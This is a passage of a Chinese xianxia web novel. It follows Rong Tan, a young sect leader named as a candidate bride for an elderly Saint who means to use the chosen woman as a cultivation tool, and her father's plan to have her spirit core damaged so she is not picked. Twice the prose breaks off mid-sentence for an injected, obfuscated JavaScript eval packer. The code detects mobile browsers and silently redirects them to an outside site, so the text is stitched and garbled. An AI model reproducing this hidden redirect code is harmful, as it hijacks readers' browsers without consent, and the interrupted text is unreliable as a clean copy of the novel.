监工这段日子,容珠常常忙得脚不沾地,她一边施加避雨屏障,一边去给百姓帮忙,一边在这处约好了吃午饭,一边又在另外一处约了晚饭,直到周望说明日准备启程时容珠才意识到从都城出发来监工已经过去一个月了。 按照计划,她和周望接下来要去临城和咸城,如今工程量小的沟渠已经可以验收了,等查看完临城和咸城的沟渠后,二人便原路返回,看一眼各城的情况后再回都述职。 这么一趟功夫下来约莫还得半月时间才能见到应白,容珠又觉得时间过得实在漫长了些。 * 应白依旧在外寻找灵根草,顾寄章要帮沈宫主处理紫阳宫账本便没有随应白前来。虽说经顾寄章开导后应白明白在喜欢容珠这件事上,他要做的是向容珠展示完完全全的自己,凭真诚与真心来获得她的喜欢,但灵根草还是要找,因为想和容珠在一起是一件事,实现梦想也是应白要再次踏上的一条路。 改变他所在的世界底层百姓的命运是他被斩腰的梦想,他不仅是那个世界人人喊打的罪犯,还失去了跟圣灵宫对抗的资格。 他是肉//体凡胎,不修炼的普通人尚且有灵核。他看似毫无希望,但他活着就是最大的希望。 应白对困难的事有一种执着与兴奋,师父说他长得人模人样,内里却是个疯子。旁人遇着难事避之不及,怨声载道,他偏要挑对自己来说有挑战的事做。 就像去摘藤架上的葡萄,那种垫垫脚能够到的不行,他非要那种需要使劲跳一跳,需要爬上架子才能够到的葡萄。 他要找到灵根草,不管还要花多长时间才能恢复自己原本的水平他都会去修炼。他希望有朝一日,那个世界的百姓能吃饱穿暖,有足够的工钱,明白礼法与道德。 他希望每一个为父母、为子女、为人夫、为人妇的人都能得到应有的尊重和关爱,他希望每一个人的脸上都有真诚的笑容,希望每一个人都明白世间诸事纷繁复杂迷人眼,唯爱与情最为珍贵温暖。 终有一天,他会再次回到那里,在这之前,他必须锻造自己,直到他有资格再次站在圣灵宫前。 * 天阴了两天,好像云囊里存的雨水放完了,正在从天河里吸收存储,等待着下一次囊满倾泻。 这个下一次也没等多久,在一个困意疲乏的午后,豆大的雨滴突袭而至。 容檀被雨声吵醒了,她愣了会儿神后从椅子上起来看着门外大雨。屋里很安静,没有倒茶的声音,没有整理册子的声音,没有走路的声音,静得她心里烦。 她去摆放着鲜花的桌旁给自己倒了杯茶,瞥见桌上那方红锦盒后她白了个眼。 这是容江给她找的一个才貌双全的男子赠给她的礼物,里头是一个雕工精美的蓝色手钏。这位男子无门无派,容江说他现在虽是个低灵,但此人很有潜力,再过个三年五载就很可能荣升中灵。 “爹,别说他现在是个低灵,就是他是个高灵女儿也看不上,模样太丑了些,且也不算年轻,这样的人怎么能配得上我?” 容江纠正她:“不是丑,是长得实诚些。” “丑就是丑,不仅丑,送的东西也丑。”容檀直言快语,毫不留情面。不过对她而言,她认为自己已经很留情面了。 之前几次见面,也有送容檀礼物的,但都被她一口回绝了,这一次容檀本来也想直接掉头走人,但对方声称要跟容檀切磋切磋,美其名曰切磋也是一种语言。 于是五招后,这位男子十分狼狈地趴在地上,一双眼惊恐地看向面前的寒剑,害怕又眼馋道:“容掌门好身手!” 容檀收剑要走,这男子慌忙从怀中掏出来准备好的红色锦盒趴在地上,双臂举起以弱者的姿态请容檀收下。 容檀不喜欢红色,但她喜欢看别人这样仰视她,不是因喜欢而收下这份礼物,而是因这是旁人对自己的献媚。 这是第九个被容檀拒绝的“才貌双全”之人,有时候容檀真的对自己爹爹的眼光很是怀疑。为了让清凌门将来后继有人,她可以成亲,也可以接受那些灵力不如自己但有潜力的人,但她才不要找一个丑八怪做自己的夫婿。 此刻,容檀捏起红锦盒里的蓝色手钏冷眼打量,她浑身上下最便宜的饰品也比这个贵十倍。 门外传来脚步声,连逸进门,见容檀已经醒了,他目光不经意扫过她手里的手钏然后垂首道:“掌门,圣灵宫使者已经汇聚在天阙台操办灵阶比试前的准备事宜,清凌门今年是否继续复核低灵灵阶?” 自清凌门被降级一事已经过去了两年,上一年容檀压根儿就不想参加比赛,但灵阶比试没有不参赛这么一说,门派和个人不晋升灵阶也要对现有灵阶进行复核。 清凌门作为历年灵阶比试中战得最“出彩”的门派,一上场自然很受其余门派另眼相看,天阙台上随便刮来的一阵微风里都要夹带两句贬损话,像针似的一根根刺入容檀心窝。 但容檀在掌门位子上好歹也做了两年,这个位子除了带给她权力和地位外还像一把利刃似的强迫她削去身上一切作为一个掌门不应该有的情绪和冲动。 虽然容檀在听到嘲讽清凌门的言语时学会了忍,但她窝在心里的火吐不出来就难受。 “清凌门人才凋零,难道还有本事晋阶吗?”容檀将手钏扔回锦盒里,火苗窜向了连逸。 她不是在指责连逸在这件事上有什么不对,在当掌门之前,她从来没有忍过什么,现在她必须忍,不得不忍。 忍是为了厚积薄发,清凌门可以忍,但将来必须要再次出人头地,这是容檀给自己的提醒。 她不允许自己在中灵水平上止步不前,也不允许清凌门永远是个低灵。她是掌门,是修真界最年轻的掌门,她不会让自己的未来仅停留在这一个称呼上。 容珠让清凌门受尽屈辱,那么她就要让清凌门重创辉煌,她要做修真界最年轻最有本事的掌门,还要在将来的某一天踏上通往圣灵宫的千级台阶…… 可忍在心里她消化不了,骄傲的性子让她必须要吐出来。 她不能给弟子们脸色瞧,因为他们再差也是清凌门将来翻身的依靠,她可以偶尔在容江面前耍耍脾气,但父女之间存着“适度”二字,她吐得不痛快,有时候实在憋不住,就朝成日在自己眼前晃悠的连逸语言相冲。 她不知道为什么自己可以肆无忌惮对他说难听的话也不怕他甩手走人,连逸目前是清凌门灵力最强的弟子,按理讲,容檀应该尽心挽留,花心思安抚,可她每每在心里这么对自己说过后再看到他时就是会控制不住脾气。 连逸听容檀语气不悦,也不想在她眼前讨她厌,便说要去天阙台上报清凌门复核灵阶一事。他刚转头要走,容檀便叫住了他:“把这个扔了。” 容檀瞥了眼桌上的锦盒,连逸上前,看着这串手钏歪歪扭扭地挂在锦盒边缘,他抬眸问:“这些珠子琉璃璀璨,蓝得很是清澈,掌门不喜欢吗?” 她看看手钏又看向他,心里的火气还没平复,蓦地又燃了起来:“你喜欢的话就戴去吧。” 雨声湍急,溅起地上的泥沙,卷进风中飘进屋里和桌上鲜花散发出的馨香碰撞交缠。 容檀有那么一刹那想从羞辱连逸中得到快乐,连逸双眸平静地看着容檀,片刻后垂下眼看着手钏道:“我不喜欢。” 他将手钏放进盒里盖上盖,对容檀施了一礼后就出门了,避雨屏障在他接触到雨前就将他罩了起来。 容檀看着这个行色匆匆的背影认定连逸生气了,她却发现自己并没有想象中的高兴。 自从新年过后,连逸就变得有些低落,容檀发现自己不管说话多么冲,连逸都不像从前似的不分尊卑挑衅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994741|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,他看似变得很顺从,说什么做什么,成日一副毫无生气的表情,像一具没有灵魂的躯壳。 她知道连逸在怨恨她把应白送去了圣灵宫承受千丝万缕。他越恭敬顺从,容檀就越生气,反驳她的连逸让她生气,顺从她的连逸也让她生气。 她看他哪里都不顺眼,日日对他呼来喝去,他总是出现在自己的视线范围内,但当他去做别的事,屋子里安静下来后,容檀仍然不能静心。 这具身体是她自己的,胸膛里的心和脑袋里的想法她都能感受到,为什么她好像一点也不了解自己? 她很容易生气却无法让自己开心起来。雨中的背影渐行渐远,喧闹的雨声吵得容檀心慌躁乱。 清凌门离天阙台有段距离,连逸在御剑飞行前看了眼手里这个沾有其他男子心意但被容檀嫌弃的锦盒。 许久没下雨了,这场雨下得痛快舒畅,他心里舒坦,手腕轻轻一甩,把刺眼的礼物跌入雨中随着那些脏东西一起被大雨乱砸,冲碎了个干净。 * 七日后,晴空万里,灵阶比试大会在天阙台如期举行。容檀近来的脾气一直很冲,连逸知道接下来几天对容檀来讲肯定不痛快,她又一向对自己不待见,于是尽量不往她跟前凑。 清凌门弟子都清楚去天阙台不是当观众的,而是伸着脸让人指着笑话的。 有本事的人早就脱离门派另寻新主了,他们这些灵力低的人走了便没人要,留下来还要白白受辱,各人在心里将容珠骂了千百遍,脸上都带着怨气,像一把干柴,来一丁点火苗就能烧得噼啪作响。 容檀将他们的表情一一扫在眼里,她移步至众弟子跟前,冷声道:“这两年来,诸位在修炼上的努力和疲累我都看在眼里,我曾说过许多次,既然我担任掌门之职,五年内就一定会让世人对清凌门刮目相看,各位都是有资质有天赋的良才,何愁没有扬眉吐气的一天?” 这些人的资质和天赋有多差,容掌门心里很清楚,但一颗颗助长修炼的灵丹妙药吃进肚里,多少还是起了点作用,照这样一个魔鬼训练法修炼下去,只要没有意外,容檀还是有信心的。 “可……”一名弟子丧着脸,语气听着像在乞求,脸上却是烦躁和抱怨,“平常修炼真的太累了,能不能多睡一个时辰?” 容檀仰头道:“规则我说得很清楚,想休息的人过来跟我过招,十招内能抗住就可以休息两天,二十招内能抗住就可以休息三天。大家都是清凌门的弟子,我作为掌门立誓要让每一个弟子出门在外都只会受人敬仰,清凌门会按时发放灵丹,五年之后,你们就有可能成为中灵甚至高灵,试想想世上又有几个人能在五年以内升阶?” 底下弟子皆换了神色,他们现在是低灵,五年内升阶的可能性很低,但那是因为绝大多数人没有每个月吃灵丹的待遇,他们已经连续吃了两年,而接下来的三年仍然月月都有灵丹吃。 纵使如此,人心不足蛇吞象,谁都想让自己吃到最大利益,如果能得到比普通灵丹更珍贵的一品丹药,说不定不用三年,明年就能升阶。 弟子继续作揖躬身,意有所指道:“掌门说的有理,修炼之人哪有不累的,清凌门虽是低灵门派,但论门派年限和殷实程度有些高灵门派也比不上呢,想要尽快提升我们的灵力还是有很多其他办法的。” “欲速则不达,五年内升阶已经远超大多数人的修炼速度,掌门说怎么做我们就怎么做,掌门说五年内能升阶,就一定会让大家安全升阶。” 众人瞅向说话的连逸。 他站得离掌门有些远,空荡荡的额间没有任何光芒,是唯一个不用参加魔鬼训练的人。 弟子们都知他曾打败过中灵水落泽,表面对他尊敬,心里都不喜他。 因为连逸维护容珠是全门派都知道的事,他一出声,众人便不再吭声了。 99. 备选 参加灵阶比试的门派和个人众多,每年的这个时候都是修真界最隆重最热闹的日子。 在这一天,圣灵宫所有圣灵都会下来观看比试,给所有人一个面见尊容的机会,但贵人事忙,圣灵们往往露个面就不知何时已经离开了,等待灵阶比试宣布结束时才会短暂地露面一小会。 从去年开始,圣灵宫已经陆续有三位圣灵丢了性命,如今偌大的天阙台主坐席上只摆了四把椅子,从左到右依次是万初、徐旻、金闻和左舒。 金闻和左舒圣灵没有来,这不是一件奇怪的事,各门各派也没有资格过问一个圣灵在比试第一天没有到场是去干什么了,随着使者扬臂一击锣鼓,灵阶比试算是正式开始了。 每年的灵阶比试几乎都是复核灵阶,少数晋升灵阶的比试也不是出自门派而是个人,圣灵们坐在高位上可以清清楚楚看到各处比试情况,对各门各派所用功法和技巧都看在眼里,他们对哪个门派的掌门实力都清清楚楚,对哪个门派弟子的水平也都心中有数。 清凌门在灵阶比试的第四天顺利通过了低灵复核比试,十天后,今年的灵阶比试正式结束。 这一天,四位圣灵都到场了,不仅如此,还有一众使者候在一边,众人眼尖,看到其中一位使者手里拿着一道圣灵宫指令。 这个东西所蕴含的权威和意义不容小觑,各人纷纷在心里揣测圣灵宫有什么大事要说,可除了抓捕逃犯应白众人还真想不出有什么事如今能称得上重要。 “圣灵宫有令——!” 使者上前将手中卷轴展开一吆喝,天阙台上乌泱泱的一片人顷刻间跪了下来。 “金闻圣灵修炼受阻,决定于两个月后迎娶资质上佳的女子为妻,现从各门派中挑选几名女子备选,选中之人所在门派立即升为高灵灵阶,赏金银丹药若干,今后无需参加灵阶复核比试,选中之人所在门派若为高灵灵阶,则该门派今后除无需参加灵阶复核比试外还将获得十张护身符,赏金银丹药若干。现宣布备选之人名单!” 天阙台上静得异常,圣灵娶妻前所未有,然而转念一想金闻圣灵娶妻是为了渡过修炼之坎,他娶的不是妻,而是一个能让他顺利修炼的工具。 这跟想当年昌修喜欢收普通女子作为生辰礼的性质不完全相同,昌修纯粹是为了满足私欲的同时吸收阴气来帮助自己提升灵力。 对他一个圣灵来说,这些普通女子能帮助他的效果微乎其微,而且这些工具都是一次性的,用后就坏了,金闻眼下明目张胆地娶妻定是做的长久打算。 做圣灵的妻子是件什么样的事各人心思百转,但可以确定的是能提升自家门派灵阶,以后还不用参加复核比试就是一件天大的好事。 这就相当于高灵两个字刻在了门派的名字里,一时间不少门派之主都盼望着自家哪名女弟子能获得金闻圣灵的青睐,自此门派平步青云,在强者的位置上占据一席之地。 使者嘹亮的声音再次从高处传来:“高灵门派羽衡门弟子林素玉、李时夜,高灵门派空山门弟子崔明柳、宫花言,高灵门派万径门弟子王陌春、罗乔,中灵门派平阳门弟子秦宜,中灵门派水月门弟子水落泽,中灵门派离夷门弟子刘空月,低灵门派清凌门掌门容檀!” 落下的话音在各人心中却产生了不同的波浪,众人跪地埋首看不见神色,轻微晃动的身子像在偌大的天阙台场地上微微漾起的水波。 有窃喜的,有失望的,有不知该哭该笑的,也有惊愕的…… 连逸偏头望向右前方的容檀,她一动不动,一张脸被肩头挡住了一半,他能感觉到身边弟子们的躁动,躁动里压抑着的窃喜忽然让他的心头攀上一层惧意,他盯着那肩头,惧意迫使着他想做点什么打破,又挥舞着让他胆怯后退。 “备选女子上前来接受灵核检测!”使者面无表情地念完了绢布上的内容,人群中传来了衣裙窸窣声。 容檀缓慢起身朝前走去,她的余光里有从队伍中出来的每一个女子,这种出风头的机会前所未有,所有人的目光都在她们几人中徘徊,台下的,台上的,连天阙台旁的树叶,耳边的微风,天上的云朵都在看着她。 “释放灵力!” 她们一个接一个伸出手掌,体内的灵力随着意念而出。 容檀看着自己手心里这簇淡蓝色的灵力,眼角余光瞥到了身旁水落泽微微摆动的裙摆。 水落泽也感受到了目光,她泛着暖意的神情渐渐化作了不屑,朝容檀手心里的蓝色光芒瞥了一眼,然后仰起头,明媚地看向了高座之上。 金闻居高临下扫过这些人的灵力,苍老的双眼释放着审视压迫的光芒,随后,他袍袖上扬,一道圣灵之力从高处飞来依次经过每一个人的掌心。 被这股力道接触的这一刹那,容檀顿觉周身像被一只大手紧紧抓住,只要稍稍用点力气,就能将她的灵核捏碎,化为虚无。 几只飞禽从高枝上展翅跨过头顶这片蓝天,怪异的叫声久久回荡在沉寂的天阙台上。 此时此刻,容檀连打量有可能会成为自己未来夫婿的想法都不敢,她没有想到,自己前段时间还在挑选别人,现在反成了被挑选的人。 对方是圣灵啊……容檀在心里默默念着这几个字,像一道接一道的雷声一样震得她毫无防备。 金闻收回了灵力,从始至终没有说一句话,使者让备选女子一月后再来天阙台接受灵核检测,那时金闻圣灵会选出这十人当中唯一一个能成为他妻子的幸运儿。 至此,今年的灵阶比试大会才真正的结束了。 * 回到清凌门的那一刻,众弟子嘁嘁喳喳地在后面小声交流,激动的情绪让他们抑制不住自己的声音,偶尔有几个词刺到了连逸耳朵里,他毫无察觉地顿住了步子,呆呆地静立在那儿。 容檀驻步转身,身后的弟子见状纷纷安静了下来,她平静道:“这几日大家都辛苦了,吃过中饭未时再去修炼,散了吧。” 弟子们难掩喜色,一时间三五成群,呼啦啦都朝房里去了。 那些弟子们的心思容檀清楚得很,他们无非认为清凌门会时来运转,庆幸自己当初没有离开这里,说不定不用多久他们也不必修炼了,会从天而降一个高灵头衔随身携带一辈子。 高灵灵阶,的确很是诱惑。 容檀看向不远处的某人,两人对角望着,谁也没开口说话,她转身朝内堂走去,连逸顿了片刻快步跟上了。 内堂里,容江已经沏好茶水等着容檀,待容檀坐下后他笑意盈盈地看着她直奔主题:“檀儿,你说这巧不巧,为父这段时间一直在忙着跟你找夫婿,现在也不必找了,哪个夫婿能比得过圣灵尊贵,若你能被金闻圣灵选中,不仅清凌门成了高灵门派,一雪前耻,而你也会入住圣灵宫,所有人见了你都要磕头下跪,你如愿以偿成为了强者啊!” 站在门边的连逸看着容江,目光微惊,容檀喝茶喝了一半,奇怪地看向自己的父亲:“爹,这似乎不是你的真心话。” 容江颇有深意地看了容檀一眼,垂眸抬眸间,瞳仁已换了神色,他放低了声音,柔和又认真道:“檀儿,这件事你怎么想?” 外头春光正好,屋里的氛围却像是另一个世界。容檀放下茶杯,“怎么想?” 她站起身,目光越过门外远处的层层山峦看向圣灵宫的方向,从在天阙台听到自己名字的那一刻,容檀心里是晦暗不明的。 她进行了利益权衡,这件事对清凌门的好处不言而喻,她也不用为门派升阶而费神费力,她只要静静地等待着,然后就可能成为一个圣灵的妻子,成为世上所有人要卑躬屈膝的强者。可…… “成为金闻圣灵的妻子听起来荣耀,实际上是去送命的,我是很想去圣灵宫,我也想当强者,我想让清凌门一雪前耻,我想要的这些这件事都可以带给我,可代价是我未来的一生都会受制于人,我会失去自由,失去主宰自己命运的权力。从始至终,我想要的是靠自己的努力和实力去实现我想得到的一切,这样才可以证明别人做不到的我能做到,我就是比别人有天赋,我是真的高人一等,是真正的强者。 “这个世上,受人敬仰的是圣灵灵阶,让人信服的是真实实力,如果我成为了金闻圣灵的妻子,这两样我都没有,以后也不会有,我会真正成为一个弱者,永不能翻身。” 圣灵宫一直是容檀心中的信仰,这份信仰来自于那个地方是巅峰强者的象征,容檀从来都想要当一个强者,从她意识到自己有修炼天赋时就在心里种下了成为强者的种子。 她尊敬圣灵,仰慕圣灵,梦想着自己有一天能成为圣灵宫的圣灵之一,俯视所有人对她跪拜。 她要通过自己的本事一步一步踏上圣灵宫前的千级台阶,她既要证明给别人看,也要证明给自己看,容檀的名字是她打出来的,不是依附别人才传扬于天下。 “更何况……”容檀皱眉。 “嫁”去圣灵宫听起来好听,谁都知道是去当修炼工具的,具体拿新娘怎么修炼容檀不得而知。 她还是一个如花似玉的年轻女子,不允许另一半的相貌有任何挑剔之处,虽说容檀敬畏圣灵,但一码归一码,让一个老头儿做她名义上的夫君她可不乐意。 她忍着情绪,意识到接下来说的话会大逆不道,只惶恐小声地对容江耳语。 连逸自听不清容檀的话,他看容江面不改色也无法断定容檀说了什么。 “爹……”容檀声音大了些,“可这件事我们做不了主,圣灵的要求必须遵从。” 圣灵即强权,没有一个人能说“不”。 强弱之分,泾渭分明,在圣灵面前,所有人都是弱者,弱者没有话语权,弱者低贱,弱者就是要为强者做强者需要的一切,即便是命。为强者舍命,何其荣耀! 容江身为父亲当然不愿意看容檀成为圣灵的修炼工具,一旦成为修炼工具,死都是轻松的,活生生的一个人指不定为了满足圣灵的要求被折磨成什么样,金闻给的诱惑虽然是顶好的了,但对容江来说,任何奖励和诱惑都没有容檀的性命和快乐重要。 他安慰容檀也安慰自己:“只是备选,还有那么多高灵门派的女子,不一定是你。” “话是这么说,可那些高灵门派的女子都已不再年轻了。”容檀回忆起在天阙台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997619|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他女子的模样。 她和水落泽是最年轻的,那些高灵门派的女子都三十多岁了,圣灵地位至高无上,谁不想要一个漂漂亮亮的修炼工具? 容江依然安慰道:“金闻圣灵要的是能帮他修炼的女子,他应该更看重灵核资质而非容貌,若论灵核资质,你并不是最拔尖的那一个……” 其实众人都心知肚明,金闻圣灵虽然今日说只娶一个,难保到时不会既要也要,哪怕他最终决定这十个都要也没人反驳。 容江在心里叹了口气,他很慌,很怕,如果真有这么一天,他根本无法保护容檀。 清凌门是祖上基业,容檀是他的血肉至亲,如果能选容檀平安,清凌门弃了就弃了,可现实不是这么个选择,他要么违抗圣灵,两个都失去,要么什么也不做,失去女儿。 屋里气氛凝重,容江单手撑膝,看向屋外的视线不经意地落在连逸身上。 连逸一动不动地站在那儿看容檀,也不知看了多久,他自己都没注意到自己在干什么,连容江注视了他半天他也没察觉到。 “爹,你说为什么还让我们一个月后再测灵核呢?”容檀的声音让连逸回过神来,也让容江重新看向她。 他想了想道:“金闻圣灵把备选名单公布于众,又明言给门派极高的奖励,那些弟子心里怎么想根本不重要,身为掌门为了给门派赢得荣誉定会在这期间花心思滋养弟子灵核,金闻圣灵要从这些人一个月后灵力的变化中感知灵核滋养后的状态。” 资质佳的灵核分为很多种,有的只能像娇花一样用清水一点点灌溉,徐徐图之,花时间花精力才能越养越好,修炼更高深的功法。 有的像缺水的土地一样,非得用力道足够猛的清水灌入不可,当灵核吸收到了足够强的营养就能比别人更快的修炼。 一个月的时间对于拥有娇花一样灵核的人想进一步提升灵核资质来说太短了,这样的人不能吃//精品丹药,否则丹药的力道会冲坏灵核,轻则调养几月慢慢恢复,重则灵核直接报废。 而一个月的时间对于拥有缺水土地一样灵核的人来说就是展现优势的好机会。 金闻圣灵要娶一个万里挑一的修炼工具回去,定然是要拿到就能上手用,或者只需稍稍培养便可用,更何况圣灵宫的丹药都是精品中的精品,灵核要是承受不住不仅浪费丹药还浪费了金闻的精力。 金闻圣灵在检测每个人的灵力时就已记住了各人水平,他要通过一个月的时间来选出最中他心意的那个——灵核。 “檀儿,你也要吃。” 连逸和容檀齐齐看向他。 清凌门掌门容檀的灵核是第三种情况,它不是娇花,也不是缺水的土地,它像弹簧一样,对任何丹药都能做到收放自如,不会被强劲的丹药刺激而损坏,也会对一般丹药进行最佳整顿吸收。 它像个拥有思想的人,对吸收来的丹药之力拥有绝对的把控权,会进行合理的运用与归纳,等主人需要的时候多方调和展现出最佳状态。 这似乎是上天赐予清凌门的一个得天独厚的宝藏,让流淌着清凌门先辈之血的人一代代传承。 然而,这样一个具有思想的灵核与其说有个致命缺点,倒不如说它灵活多变。 因为拥有弹簧的人不一定会用弹簧,不会用,那弹簧便轻轻地一跳,赐予跟修炼者水平相当的作用,修炼者还要抱怨自己的灵核没有资质,会用的人就像蚕破茧化蝶,蝎子翘起了尾巴。 容江道:“金闻圣灵耳聪目明,这一个月的时间明面上是说给你们听的,实际也在考验各派掌门,他从一个月以后备选之人的灵力变化中就能看出各派掌门对此事是否用心,你是掌门,要比其他人更要表现出迫切之心,如果到时金闻察觉到你的灵力没有丝毫变化他肯定会猜疑。” 察觉到容檀要说什么,容江又补充道:“但也正因你是掌门,怎么做的决定权在你,其他弟子只能唯掌门之令是从。檀儿,这个世上的大多数事情都会让你被迫得到这个,舍弃另一个,如果你不想被选中,那你只能对你的灵核狠一点心,让金闻圣灵绝无选你的可能。” “爹……”容檀呆滞地看着他,“你要让我自损灵核?” 容江叹了口气:“这世上,所有人都要靠灵力才能站稳脚跟,有资质的灵核更是修炼之人的命根子,不可能会发生的事才会更令人信服。不必做得绝,调养半年能恢复如初便可以了。” 连逸很清楚容檀有多看重自己的灵力,跟她每晚要喝玫瑰桃胶凝露保养皮肤一样,容檀会定期吃培本固元的丹药来滋养灵核。让容檀自损灵核无异于往她的脸上划一刀子,且自损灵核有一定的风险…… “檀儿,你自己肯定下不去手,掌握不好容易损坏根本,你是我女儿,我也不忍心,连逸为人沉稳内敛,我看他是最合适的人选。” 容江面色平静地看着容檀和连逸,在二人互相惊愕的目光下,他站起身认真道:“这件事不着急,你二人先准备准备,过两日我再找你们……” 容江说完后就走了,留了满屋子的沉寂,连逸缓缓看向坐着的容檀,发现对方的目光更锐利了。 100. 心思 入夜后,晚风徐徐,圣灵宫庭院里的玉兰树已经开花了,花香随着春风四处飘飞,沾染在各个角落里。 一个婢女低着头穿过前院来到殿门前恭敬道:“金闻圣灵,徐旻圣灵拜访。” 殿内没有声音,金闻坐在禅垫上练功,他浑身发抖,周身的灵力四处乱窜,像没栓链子的疯狗,咬得他再次要失控. 他苍老的鬓边青筋凸起,硬是凭着自控力将灵力压了回去,短短几瞬间已让他大汗淋漓,心力交瘁。 过了一会儿,门被一股无形之力打开了,婢女得了指令去请徐旻圣灵进来。 徐旻本是饭后消食,出来散步,于是散步散着便起了兴致去找金闻。他拍着圆鼓鼓的肚皮踏步进院,远远就瞧见金闻正气定神闲地坐在殿内喝茶看书。 “金闻圣灵现在还有闲情逸致喝茶,看来修炼之坎也没有很难渡过嘛。”说话间,徐旻已在茶桌对面坐了下来,看到金闻手里拿着一本名叫《疏经》的书。 修炼之人遇到修炼之坎是再正常不过的事,更何况到达圣灵这个级别灵力哪怕涨一点都困难,每走一步都是坎。 金闻浅浅笑着,没有说话。 他本就寡言少语,徐旻也没发现对方异常,只道:“你挑的那几人我看也不太能帮得到你啊。那些人的灵核是不错,不过你要是选她们还得先磨合灵力,为何不直接找适合你灵力的女子呢?” 徐旻似乎没有要等金闻开口的意思,他给自己倒了杯茶滔滔不绝道:“左舒现在为了早日救妻,没日没夜修炼功法,我真搞不懂,他要快速提升灵力也找个灵力强的女子阴阳结合,慢慢吸就是了,可他偏偏要为他妻子守贞洁,你说他这个圣灵当的窝不窝囊?” “你看看昌修,把他娘们儿养到高灵自己再吸了,要是好好融合一下灵力指不定就超过万初了,可他太心急了,为求速度不惜再吃丹药,结果就一命呜呼了!”徐旻脸上的笑意藏不住,神情分外轻松自在。 没人知道这颗丹药是他让水露蓉伺候昌修时喂给他的,昌修贪色,多么尊贵的一个圣灵最终死在了一个没有灵力的女人手里。 徐旻不知暗自讥笑了昌修多少次,他痛快极了!水露蓉是自己的玩物,跟他要东西,逼急了他绝不手软! 他说得多了口干舌燥,金闻默默看他喝了几盅茶后方开口:“阴阳结合也得选能互补自己灵力的,左舒练的功法特别,就算他有此意恐怕也难以找到符合条件的女子。” 此刻他体内的灵力已经彻底平息了,方才他不能开口说话,因为一说话就会暴露出他气息不稳的状态,他不想在任何一个人的面前露出端倪。 他把书扔在一边:“世上难有万全之事,磨合灵力事小,关键还得看灵核资质。” 徐旻不置可否,不过这是金闻的事儿,他修炼的如不如意跟自己无关,圣灵宫里的圣灵都是各人修习各人的功法,大家都是奔着成仙去的,练好自己的才是最要紧的。 他又道:“你说你找女子就找女子,何必给那些门派升灵阶呢?他们能拿出我们想要的东西是一份荣幸,这是应该的,你赏这么多没的降低了自己的身份。” 这件事金闻跟万初说的时候万初也是这么跟他说的,他摩梭着手中杯子,轻笑一声道:“这些东西是我施舍给他们的,虽然我们可以张张嘴就能拿到想要的东西,但你给他们点好处他们会更对你感激涕零,马首是瞻,你看民间那些低贱的狗儿,扔给它一个臭肉都高兴得对人摇尾点头。” “哈哈哈哈……”徐旻大笑,“原来如此,要我说,你也别只要一个,娶个四五个回来,随用随取嘛。” “我只要对我有用的东西。”金闻说话慢条斯理,像夜里的晚风悄悄拂过身后,令人后背寒凉。 “你看中哪一个啦?”徐旻皱眉回忆了一下那十名女子,随后“啧”了一声。 “那几个高灵门派的女弟子都太老了些,灵核资质重要,但也得娶个既年轻又好看的回来,那几个中灵弟子倒还凑合,水月门那个水落泽深究起来还是我以前的妻妹呢,长得清秀,没有她姐姐好看,倒是清凌门那个掌门,论容貌,还真没几个女子能比得上她。” 徐旻不过是闲聊闲问,像挑拣物品似的挨个在头脑里打量。金闻苍老却极明亮的双眼看着杯中茶水,一张平静的脸丝毫看不出他心里想的是什么,良久,他道:“她叫容檀。” “对。”徐旻把胳膊肘架在腿上。 “我记得清凌门好像有一个废物。” “哦,那个是容珠,听说被逐出门派了。”徐旻尝试回忆了一下她的样貌但想不起来了。 “那肯定活不成了。”金闻双眸精亮,像发现了一个令他开心的事,“离开门派就没有立身之地,如蚂蚁一样,即便拼命想保护自己,也会被比她强百倍的人的脚底板踩死。” 春夜宁静,扫地的声音一下一下地响着,二位圣灵的笑声自殿内传出,婢女受惊握紧扫把,不可抑制地打了个哆嗦。 容檀美不美,金闻根本不关注,他只要自己要用的东西。 徐旻说阴阳结合更看重灵力互补,可金闻不是娶来让自己提升灵力的,甚至他根本不需要阴阳结合,娶妻只是一个障眼法,金闻要借机选出最优秀的灵核,如果这样的灵核不止一个,那金闻定然会多“娶”几个回来。 一个月的时间有点短,不过也够看出灵核有没有潜力,还有一个更重要的原因,他的身体快承受不住了。 * 长夜漫漫,也有些人过得很是煎熬。 据沈宫主所说,容珠和周望昨日已经到达都城城门,由于天色已晚,决定明日再进宫述职,不久就能回来了。 应白心如擂鼓,期待和害怕让他辗转反侧,他根本不知道这两个月来周望是如何跟容珠相处的,容珠会不会…… “不会。”应白心里回答,“容珠不是这么草率的人,况且周望的为人还有待考究,容珠似乎并不是很喜欢他。” 应白又翻了个身,自言自语:“这一次容珠和周望单独相处那么长时间,周望既然对容珠有意,他一定会展现出真实的自己,就像他说的喜欢对方就要跟对方坦诚相待,你怎么就确定容珠不会喜欢他?” 春天的夜晚还是有些寒凉的,外面正下着淅淅沥沥的小雨,应白却有些燥热,他把一只脚伸出被窝,过了一会儿他认为自己不该在事情还没确定前就设想这么多,明天就能见到容珠了,怎么想这都是一件开心的事。 第二天,应白特意没出去寻找灵根草,一直在紫阳宫内等候。黄昏时分,周望和容珠才到紫阳宫。 容珠和周望连着半个月几乎都在马车上颠簸,他们按照计划原路返回,把各城完工的沟渠检查了一遍,容珠又修补了避雨屏障后二人才启程回都。 “我听说施加避雨屏障极耗费灵力,百姓们都很感激容姑娘的付出。” 